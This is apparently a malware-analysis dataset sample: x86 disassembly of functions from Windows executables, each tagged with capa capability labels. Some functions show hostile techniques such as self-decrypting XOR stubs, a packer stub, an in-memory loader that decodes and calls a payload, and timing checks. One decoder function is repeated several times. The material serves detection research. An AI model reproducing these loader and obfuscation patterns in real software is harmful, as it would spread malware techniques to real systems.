joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b9490
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindResourceA]
push ebp
push esi
push edi
xor edi, edi
push 0x836804
push str.E2EE_IDR_DLL
push edi
call ebx
mov esi, eax
test esi, esi
jne 0x4b94df
call fcn.005033b7
mov edi, dword [eax + 0xc]
test edi, edi
jne 0x4b94c4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
push 0x836804
push str.E2EE_IDR_DLL
push edi
call ebx
mov esi, eax
test esi, esi
jne 0x4b94df
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test ebx, ebx
jne 0x4b94f5
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4b9509
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x10], ebp
jne 0x4b9522
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret
mov edi, dword [esp + 0x18]
push edi
push ebx
push ebp
call fcn.004b9c40
add esp, 0xc
test al, al
jne 0x4b95c1
mov eax, dword [edi + 8]
cmp eax, ebx
jb 0x4b95c9
mov esi, dword [0x60f958]
jae 0x4b9551
call fcn.004f48b5
mov ecx, edi
call fcn.004b97d0
mov eax, dword [edi + 8]
mov ecx, eax
sub ecx, ebx
cmp ecx, esi
jae 0x4b9565
mov esi, ecx
test esi, esi
jbe 0x4b95a3
mov ecx, dword [edi + 4]
sub eax, esi
sub eax, ebx
push eax
lea eax, [ecx + esi]
add eax, ebx
add ecx, ebx
push eax
push ecx
call fcn.004e52d0
mov ebp, dword [edi + 8]
add esp, 0xc
sub ebp, esi
mov ecx, edi
push 0
push ebp
call fcn.004b96b0
test al, al
je 0x4b959f
mov ecx, dword [edi + 4]
mov dword [edi + 8], ebp
mov byte [ecx + ebp], 0
mov ebp, dword [esp + 0x10]
mov edi, dword [edi + 4]
test edi, edi
jne 0x4b95af
mov edi, 0x60f954
mov ecx, ebx
mov esi, ebp
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
ret
mov edx, ebx
push 0
sub edx, eax
mov ecx, edi
push edx
call fcn.004b95e0
jmp 0x4b95a3
Function at 0x4c0540
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
xor ecx, ecx
push esi
push edi
mov eax, dword [ebp]
mov edi, dword [ebp + 4]
mov dword [esp + 0x24], edi
mov dword [esp + 0x10], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x4c0643
add ebx, 0x10
mov eax, dword [ebx]
test eax, eax
jne 0x4c05c6
mov edx, dword [esp + 0x20]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x4c0626
mov eax, dword [ebp + 0x34]
mov edx, dword [ebx - 4]
push eax
mov ecx, edi
push 4
push 0x1000
add ecx, edx
push esi
push ecx
call dword [ebp + 0x1c]
add esp, 0x14
test eax, eax
je 0x4c064e
mov eax, dword [ebx - 4]
mov ecx, esi
mov edx, ecx
add edi, eax
xor eax, eax
mov dword [ebx - 8], edi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x4c0622
mov ecx, dword [ebx + 4]
mov edx, dword [esp + 0x1c]
add ecx, eax
push ecx
push edx
call fcn.004c0520
add esp, 8
test eax, eax
je 0x4c064e
mov eax, dword [ebp + 0x34]
mov ecx, dword [ebx]
push eax
mov eax, dword [ebx - 4]
mov edx, edi
push 4
push 0x1000
add edx, eax
push ecx
push edx
call dword [ebp + 0x1c]
add esp, 0x14
test eax, eax
je 0x4c064e
mov ecx, dword [ebx - 4]
mov esi, dword [ebx + 4]
mov eax, edi
mov edi, dword [esp + 0x18]
add eax, ecx
mov ecx, dword [ebx]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov edi, dword [esp + 0x24]
mov ecx, dword [ebp]
mov eax, dword [esp + 0x10]
xor edx, edx
inc eax
mov dx, word [ecx + 6]
add ebx, 0x28
cmp eax, edx
mov dword [esp + 0x10], eax
jl 0x4c0573
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
Function at 0x4c0660
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x2c]
xor ecx, ecx
mov eax, dword [edi]
mov cx, word [eax + 0x14]
lea esi, [ecx + eax + 0x18]
mov ecx, dword [edi + 0x3c]
push ecx
mov eax, dword [esi + 8]
push eax
mov dword [esp + 0x1c], eax
call fcn.004c07b0
push esi
push edi
mov dword [esp + 0x28], eax
call fcn.004c07c0
mov ecx, dword [edi]
mov dword [esp + 0x2c], eax
mov edx, dword [esi + 0x24]
mov eax, 1
add esp, 0x10
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], 0
add esi, 0x28
cmp word [ecx + 6], ax
mov dword [esp + 0x10], eax
jbe 0x4c077b
mov ecx, dword [edi + 0x3c]
mov eax, dword [esi + 8]
push ecx
push eax
mov dword [esp + 0x34], eax
call fcn.004c07b0
push esi
push edi
mov ebx, eax
call fcn.004c07c0
mov edx, dword [esp + 0x24]
mov ebp, eax
mov eax, dword [esp + 0x28]
add esp, 0x10
cmp eax, ebx
je 0x4c0725
mov eax, dword [esp + 0x1c]
add eax, edx
cmp eax, ebx
ja 0x4c0725
lea ecx, [esp + 0x14]
push ecx
push edi
call fcn.004c07f0
add esp, 8
test eax, eax
je 0x4c079b
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], edx
mov dword [esp + 0x1c], ebp
mov eax, dword [esi + 0x24]
mov dword [esp + 0x20], eax
jmp 0x4c075a
mov eax, dword [esi + 0x24]
mov ecx, dword [esp + 0x20]
test eax, 0x2000000
je 0x4c0743
test ecx, 0x2000000
je 0x4c0743
or ecx, eax
mov dword [esp + 0x20], ecx
jmp 0x4c074e
or eax, ecx
and eax, 0xfdffffff
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x2c]
sub ebp, edx
add ebp, eax
mov dword [esp + 0x1c], ebp
mov ecx, dword [edi]
mov eax, dword [esp + 0x10]
xor edx, edx
inc eax
mov dx, word [ecx + 6]
add esi, 0x28
cmp eax, edx
mov dword [esp + 0x10], eax
jl 0x4c06c1
mov eax, 1
mov dword [esp + 0x24], eax
lea eax, [esp + 0x14]
push eax
push edi
call fcn.004c07f0
add esp, 8
neg eax
pop edi
pop esi
sbb eax, eax
pop ebp
neg eax
pop ebx
add esp, 0x18
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x4c6fb0
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + 0x83bf44]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x83bed4]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x4c6fc3
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x4c7004
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x83bf7c]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x4c7036
mov bl, byte [esp + ecx + 0x4c]
jmp 0x4c703a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x4c702b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x4c7058
mov bl, byte [esp + ecx + 0x4c]
jmp 0x4c705c
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x4c704d
xor ecx, ecx
mov eax, 0x83bee4
xor ebx, ebx
mov bl, byte [ecx + 0x83bf8c]
cmp byte [esp + ebx + 0x14], 0
je 0x4c7087
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x83bfa4]
cmp byte [esp + ebx + 0x14], 0
je 0x4c709e
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, 0x83bf44
jl 0x4c706e
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x4c6ff7
lea edx, [esp + 0x84]
push edx
call fcn.004c70e0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x4ca700
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x4ca766
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x4ca766
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x4ca747
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x4caaf0
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x4cab28
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x4cb750
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x4cb799
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x4cbc10
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x509210
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.004cb7c0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.004cb840
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.004cb840
lea ecx, [esi + 0xc]
call fcn.004f9acb
lea ecx, [esi + 0x10]
call fcn.004f9acb
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.004ccdd0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.004ccdd0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.004ccdd0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004f9b40
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004f9b40
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x4cfe10
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x884290]
xor edx, edx
cmp eax, edx
jne 0x4cfe36
xor eax, eax
mov byte [eax + 0x884190], al
inc eax
cmp eax, 0x100
jl 0x4cfe1e
mov dword [0x884290], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x884190
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4cfec7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4cfe9a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4cfe68
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4cff40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4cff93
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4cff7a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4d6910
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x50960e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004d7230
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x7d8854
call fcn.004f9881
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x4d69a3
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004f9881
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x4d699c
push 0
mov ecx, eax
call fcn.004cda40
mov dword [esi + 0xc], eax
jmp 0x4d69a5
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x4d69a5
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x4e7627
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4e7647
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004e648a
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4e766a
test byte [esp + 8], 2
je 0x4e766a
call fcn.004e64fd
mov dword [eax], 0xd
call fcn.004e6506
mov dword [eax], 5
jmp 0x4e7643
xor eax, eax
ret

Function at 0x4fbf0e
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4fbf46
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004f9f9b
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004f9f73
jmp 0x4fbf52
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4fd603
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4fd645
call fcn.005033b7
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4fd645
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4fd63c
xor eax, eax
jmp 0x4fd64d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004fd653
pop edi
pop esi
pop ebx
ret 4

Function at 0x5038e7
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x503915
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x503933
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0050384d
jmp 0x503933
mov eax, dword [esi + 0x14]
test eax, eax
je 0x503933
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0050384d
test edi, edi
mov eax, edi
jne 0x50391d
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x17133701
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x35f20cea
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x40ae28
Capabilities:
Hash data using sha1

Disassembly:
mov dword [eax], 0x67452301
xor edx, edx
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x18], edx
mov dword [eax + 0x14], edx
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x439fb0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x24]
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
mov byte [ebp - 0xc], cl
push 4
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.kernel32.dll_GetLocaleInfoW
mov dword [ebp - 0x1c], eax
cmp eax, 2
jle 0x43a05a
mov eax, dword [ebp - 0x1c]
sub eax, 2
test eax, eax
jl 0x43a076
mov dword [ebp - 0x20], 0xffffffff
lea esi, [esi]
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
mov dx, word [ebp + edx*2 - 0x18]
mov word [ebp - 0x24], dx
mov edx, dword [ebp - 0x20]
mov dx, word [ebp + edx*2 - 0x18]
cmp dx, 0x20
jb 0x43a076
sub dx, 0x20
je 0x43a050
sub dx, 0x80
je 0x43a050
sub dx, 0x1f62
jb 0x43a076
sub dx, 1
jbe 0x43a050
sub dx, 6
je 0x43a050
sub dx, 0x26
jne 0x43a076
nop
jmp 0x43a050
cmp eax, dword [ebp - 0x20]
jg 0x439ff8
lea esi, [esi]
jmp 0x43a076
cmp dword [ebp - 0x1c], 2
jne 0x43a06a
mov ax, word [ebp - 0x18]
mov word [ebp - 0x24], ax
jmp 0x43a076
mov al, byte [ebp - 0xc]
call fcn.0040ea10
mov word [ebp - 0x24], ax
mov ax, word [ebp - 0x24]
sub ax, 0x7f
jbe 0x43a0f4
sub ax, 0x21
je 0x43a108
sub ax, 0x17
je 0x43a114
sub ax, 0x222
je 0x43a120
sub ax, 0x392
je 0x43a128
sub ax, 1
je 0x43a130
sub ax, 0x1996
je 0x43a138
sub ax, 1
je 0x43a140
sub ax, 6
je 0x43a148
sub ax, 0xb
je 0x43a158
sub ax, 0x1b
je 0x43a150
sub ax, 0x367
je 0x43a160
jmp 0x43a168
mov ax, word [ebp - 0x24]
call fcn.0040ea80
mov byte [ebp - 0x10], al
jmp 0x43a170
mov byte [ebp - 0x10], 0x20
jmp 0x43a170
mov byte [ebp - 0x10], 0x2e
jmp 0x43a170
mov byte [ebp - 0x10], 0x27
jmp 0x43a170
mov byte [ebp - 0x10], 0x2c
jmp 0x43a170
mov byte [ebp - 0x10], 0x27
jmp 0x43a170
mov byte [ebp - 0x10], 0x20
jmp 0x43a170
mov byte [ebp - 0x10], 0x20
jmp 0x43a170
mov byte [ebp - 0x10], 0x20
jmp 0x43a170
mov byte [ebp - 0x10], 0x20
jmp 0x43a170
mov byte [ebp - 0x10], 0x2d
jmp 0x43a170
mov byte [ebp - 0x10], 0x27
jmp 0x43a170
mov al, byte [ebp - 0xc]
mov byte [ebp - 0x10], al
mov esi, esi
mov al, byte [ebp - 0x10]
mov esp, ebp
pop ebp
ret

Function at 0x450240
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push edx
push eax
call sub.ws2_32.dll_connect
mov esp, ebp
pop ebp
ret

Function at 0x401ca0
Capabilities:
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sub.ucrtbase.dll__configure_narrow_argv
call sub.ucrtbase.dll__initialize_narrow_environment
call 0x401d10
mov esi, dword [eax]
call sub.ucrtbase.dll___p___argv
mov edi, dword [eax]
call sub.ucrtbase.dll__get_initial_narrow_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.00401d50
mov dword [esp], eax
call sub.ucrtbase.dll_exit
nop
nop
nop
jmp dword [sym.imp.ucrtbase.dll___p___argc]
Function at 0x408151
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x408160
pop dword [ebp - 0x20]
mov eax, 0x103277ed
sub eax, 0xff1f68d
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x40311
push 0
mov eax, 0xc997a680
sub eax, 0xc9555468
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x519e
xor esi, esi
add esi, eax
mov edi, 0xec79b135
sub edi, 0xec365d35
add edi, dword [ebp - 0x20]
mov edx, 0x6aa2d66a
sub edx, 0xe4037252
xor dword [ebp - 0xc], esi
mov ebx, dword [edi]
mov dword [ebp - 8], 0xe60724cf
sub ebx, edx
sub dword [ebp - 4], 0x9d49117b
mov dword [esi], ebx
sub dword [ebp - 4], 0x3a952595
add esi, 4
add edi, 4
loop 0x4081bb
add eax, 0x1394b
mov ebx, eax
add eax, 0xf90443c5
sub eax, 0xf90443c0
mov ecx, 0x41a3126f
sub ecx, 0x4163126f
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx